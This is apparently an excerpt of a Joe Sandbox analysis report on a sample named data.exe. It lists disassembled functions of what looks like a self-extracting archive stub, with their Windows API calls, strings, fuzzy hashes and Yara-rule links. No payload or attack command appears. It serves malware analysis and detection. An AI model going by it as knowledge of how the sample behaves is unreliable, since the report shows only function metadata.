Opcode Fuzzy Hash: c8b051e27b68c6b043da78d9bda75542202bddee0f68464aef4353d6aee2ea9e
Instruction Fuzzy Hash: BB11E936E58A09F5FE5491EBE5723EB38416B943B0F05463CE96A075DACA68DE478100

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4EF4 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 000000013F2B4F11
GetMessageW.USER32 ref: 000000013F2B4F28
TranslateMessage.USER32 ref: 000000013F2B4F33
DispatchMessageW.USER32 ref: 000000013F2B4F3E
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,00000001,?,000000013F2B2DB7), ref: 000000013F2B4F4C

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: ef41243d3d78035141505aa551c49f7752d389ace621211df6dc683de2f32d7f
Instruction ID: f5383d77d77bb2987c3671999424cc9edd8c8e0165cba0ce8b33f52fcba4ef83
Opcode Fuzzy Hash: ef41243d3d78035141505aa551c49f7752d389ace621211df6dc683de2f32d7f
Instruction Fuzzy Hash: B5F03632F3055582FB549B20E495FAB2251FBE4B05F841035D94B46855DE2CC64ACB10

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A6084 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A62D1

Part of subcall function 000000013F2A2948: LoadStringW.USER32 ref: 000000013F2A29CF
Part of subcall function 000000013F2A2948: LoadStringW.USER32 ref: 000000013F2A29E8

Part of subcall function 000000013F2B2350: GetLastError.KERNEL32 ref: 000000013F2B2376
Part of subcall function 000000013F2B2350: SetLastError.KERNEL32 ref: 000000013F2B23C5

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A63A2

Strings

%s: %s, xrefs: 000000013F2A62DB
%ls, xrefs: 000000013F2A6157, 000000013F2A616D

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorLastLoadStringswprintf
String ID: %ls$%s: %s
API String ID: 1667839203-2259941744
Opcode ID: ffd8792dda8d5f6934c8fc7181cfaa24d75baf5a679bc80967d9198d577ae962
Instruction ID: 496ead4c94691abf873a2be107d5dd7dbe3367262dfa041d8ad9a118e2938182
Opcode Fuzzy Hash: ffd8792dda8d5f6934c8fc7181cfaa24d75baf5a679bc80967d9198d577ae962
Instruction Fuzzy Hash: 5D911975E08540C1FEAA666885783FF1D91E786B48F55413ED64B0ABDACF19CB0F8302

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2BA188 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000000013F2BA1F8

Part of subcall function 000000013F2B96B0: abort.LIBCMT ref: 000000013F2B96C3

abort.LIBCMT ref: 000000013F2BA471

Strings

RCC, xrefs: 000000013F2BA214
MOC, xrefs: 000000013F2BA20C

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: abort$EncodePointer
String ID: MOC$RCC
API String ID: 1081739298-2084237596
Opcode ID: 58e6dfc58a54e411f18cfeca1383dfefe18c9c3eabe428a0aea1cc422f5a5531
Instruction ID: 182ddf02ce4bf4b842ad82c35b510064cce2bf51649d320480365ca7cddcb4be
Opcode Fuzzy Hash: 58e6dfc58a54e411f18cfeca1383dfefe18c9c3eabe428a0aea1cc422f5a5531
Instruction Fuzzy Hash: F0916C73A04B98CAE711DB65E8803DE7BB0F345788F15412AEE8957B59DB38C696CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2BA6FC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000000013F2BA726
abort.LIBCMT ref: 000000013F2BA98A

Strings

csm, xrefs: 000000013F2BA8BA
csm, xrefs: 000000013F2BA74B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 7f091ce1c62c5f258933459583416fcafb90026797d5895e5b4787f9fa2e101c
Instruction ID: d988d6addf8ba77abcfb4683f9dec03e2abbc66911bd5a5b6b6300f9b3b7252a
Opcode Fuzzy Hash: 7f091ce1c62c5f258933459583416fcafb90026797d5895e5b4787f9fa2e101c
Instruction Fuzzy Hash: C171C472904AC5C6DB618F25D0507EE7FA0F714F85F168229DE8857B89CB38CA93DB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C5C08 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000000013F2C5C7B
MultiByteToWideChar.KERNEL32 ref: 000000013F2C5D44
GetStringTypeW.KERNEL32 ref: 000000013F2C5D5E

Strings

$%s, xrefs: 000000013F2C5C0A

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: 66380f379492869372d9dc1cf9f6f59d0d6580fb9fc1f4b98a81335362ec22a1
Instruction ID: 350ae609ffdf51a818f4c9cef3533a649f666d3035c07116a16b169f4d9aad13
Opcode Fuzzy Hash: 66380f379492869372d9dc1cf9f6f59d0d6580fb9fc1f4b98a81335362ec22a1
Instruction Fuzzy Hash: 17416F32B11B84CAEF608FA5D8057DA63A1FB44BA8F584639AE1D477D8DF38C646C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2BAB40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2B96B0: abort.LIBCMT ref: 000000013F2B96C3

__except_validate_context_record.LIBVCRUNTIME ref: 000000013F2BABEA
_CreateFrameInfo.LIBVCRUNTIME ref: 000000013F2BAC16

Strings

csm, xrefs: 000000013F2BAD16

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 0b3e91732bc49fbbec05a748ff5ac513a24bf80086f444e2e1ddf2f86afc4d4f
Instruction ID: c5ad7d5b729b232cb8dc054c7eb0568a639b8c07ec1efa5f83b39b23cd46259d
Opcode Fuzzy Hash: 0b3e91732bc49fbbec05a748ff5ac513a24bf80086f444e2e1ddf2f86afc4d4f
Instruction Fuzzy Hash: 40515C32A15749C7E620EF26E48139F7BA4F789B91F150129EF8907B56DF38C962CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C0764 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C078E
GetModuleFileNameA.KERNEL32(?,?,?,?,?,000000013F2B6F75), ref: 000000013F2C07AF

Strings

C:\Users\user\AppData\Local\Temp\data.exe, xrefs: 000000013F2C079D
p1H, xrefs: 000000013F2C07B5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\data.exe$p1H
API String ID: 3307058713-3536356708
Opcode ID: 4792c73b54b9531411a2c8b3e1b98346e7c626cb7e0442df3ceab62394588400
Instruction ID: 1c418c1962290b42f9ef69924a345fbde2dff113c4bfcec159e7912496240cc0
Opcode Fuzzy Hash: 4792c73b54b9531411a2c8b3e1b98346e7c626cb7e0442df3ceab62394588400
Instruction Fuzzy Hash: C8418032A04A50CAEF14DFA6A4513DE67A4FB44BC4F54813AEA4A87B95DB34C643C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C8D48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000013F2C8E2E
WriteFile.KERNEL32 ref: 000000013F2C8E61
GetLastError.KERNEL32 ref: 000000013F2C8E83

Strings

U, xrefs: 000000013F2C8E0C

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 712222997dc5b1538dc2d0b88df764630c28d5bcd9003af8c0187e0eb55dfb4b
Instruction ID: 0aeecb092f9e3bce78474a5a1c0db84452676db8af92bc8c9d00bfddd3266fac
Opcode Fuzzy Hash: 712222997dc5b1538dc2d0b88df764630c28d5bcd9003af8c0187e0eb55dfb4b
Instruction Fuzzy Hash: 1141C232B15A84C2EB208FA5E9443EB77A1F798B94F858039EE4D87784DB3CC646C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B1068 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 000000013F2B1091
GetObjectW.GDI32 ref: 000000013F2B10BF
ReleaseDC.USER32 ref: 000000013F2B1173

Strings

, xrefs: 000000013F2B110B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: c7f6fad14c3d6c45f1c2b7caa2a52cae9f8f1ced179c147e4ce1c58448344ac3
Instruction ID: 3a7e44d0855bcb2234880ab03b1dc2d4b9cbb0a2278440336f5b256beec48c62
Opcode Fuzzy Hash: c7f6fad14c3d6c45f1c2b7caa2a52cae9f8f1ced179c147e4ce1c58448344ac3
Instruction Fuzzy Hash: 4D315A3668874286DB04CF12B81875AB7A0F389FE1F40803AEE4B43B18CE3CC54ACB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B1450 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2913D0: GetDlgItem.USER32 ref: 000000013F291420
Part of subcall function 000000013F2913D0: SetWindowTextW.USER32 ref: 000000013F29143C

EndDialog.USER32 ref: 000000013F2B1507
GetDlgItemTextW.USER32 ref: 000000013F2B1525
SetDlgItemTextW.USER32 ref: 000000013F2B1544

Strings

ASKNEXTVOL, xrefs: 000000013F2B1473

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 9e778b9a53f0c3f6af21b90c864b63bbfcfd98bde267787245bc735748e0ef5c
Instruction ID: ddc76712c7f9050b51b2794691b4959c59be3ee198fe193545a7fbb45560822e
Opcode Fuzzy Hash: 9e778b9a53f0c3f6af21b90c864b63bbfcfd98bde267787245bc735748e0ef5c
Instruction Fuzzy Hash: B8319E75A04B44C2FA649B56E9543EA67A1F389FC0F04403FEE4B17BA9CA79CA47C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A575C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000013F2A57A7
CreateSemaphoreW.KERNEL32 ref: 000000013F2A57B7
CreateEventW.KERNEL32 ref: 000000013F2A57D0

Strings

Thread pool initialization failed., xrefs: 000000013F2A57EC

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 13f9ad013cac519ce349f5504603e8b53550548678ccca31ab2fdf361bbf366e
Instruction ID: 0f90a8d3b58f62080d4a4efad1dd030a8840b6f7ebdc9bd725714ad4b618716d
Opcode Fuzzy Hash: 13f9ad013cac519ce349f5504603e8b53550548678ccca31ab2fdf361bbf366e
Instruction Fuzzy Hash: 23218472A11640CAFB548F65E4553EF32A2F798F48F188039CA094B295CF7EC59BC780

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F295434 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 000000013F29543F
std::_Xinvalid_argument.LIBCPMT ref: 000000013F295453

Strings

vector too long, xrefs: 000000013F29544C
string too long, xrefs: 000000013F295438

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long$vector too long
API String ID: 909987262-1617939282
Opcode ID: bf641c3c5974ce66e2a0b2880ccf11569d008c973ede66d2c38dcb554d452594
Instruction ID: 331adb58e805eadb535652202dedc0a6ec68c63895403cd2bab589232f622e3b
Opcode Fuzzy Hash: bf641c3c5974ce66e2a0b2880ccf11569d008c973ede66d2c38dcb554d452594
Instruction Fuzzy Hash: D101A235A15A88C1EE589F96E4413DA2360E704BC4F64183A9B0D07F55CB34DA63C741

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4E64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 000000013F2B4E92
SetEnvironmentVariableW.KERNEL32 ref: 000000013F2B4ED2

Strings

sfxpar, xrefs: 000000013F2B4ECB
sfxcmd, xrefs: 000000013F2B4E8B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 9355028234e3c1df3de2f0f2c45ed962507e0bb30c5847decd366f5ed0387a86
Instruction ID: d5cbf89442533bd6df6ec1456bfad3ee4f85a932b3c9b558d4ed5b7e35e4ff49
Opcode Fuzzy Hash: 9355028234e3c1df3de2f0f2c45ed962507e0bb30c5847decd366f5ed0387a86
Instruction Fuzzy Hash: 59013171F01654C1FE619B51E8653EB62A0BB5CB81F84003A9D4D4A796EE2CC747C711

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B0BC8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 000000013F2B0BD4
GetDeviceCaps.GDI32 ref: 000000013F2B0BE5
ReleaseDC.USER32 ref: 000000013F2B0BF2

Strings

, xrefs: 000000013F2B0BF8

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: e35430a80067ed5c599f0c4cf63278b51e6c528b2c3c6057d4612a7681bc9ea9
Instruction ID: 09b794d9b763eb7122052c037757aa2e9d0a5c7fa364fab2e5f066403c5e42ca
Opcode Fuzzy Hash: e35430a80067ed5c599f0c4cf63278b51e6c528b2c3c6057d4612a7681bc9ea9
Instruction Fuzzy Hash: B2E0C230B4864282EB0857BAB58932A2261B34CBD0F15403ADA0747798CD3CC4C6C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29D99C Relevance: 6.1, APIs: 4, Instructions: 128filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 000000013F29DA51
CreateFileW.KERNEL32 ref: 000000013F29DAA3
SetFileTime.KERNEL32(?,?,00000050,?,?,?,?,?,000000013F29A73D,-00000044,?,?,000000013F29B6C0), ref: 000000013F29DB1F
CloseHandle.KERNEL32 ref: 000000013F29DB2A

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
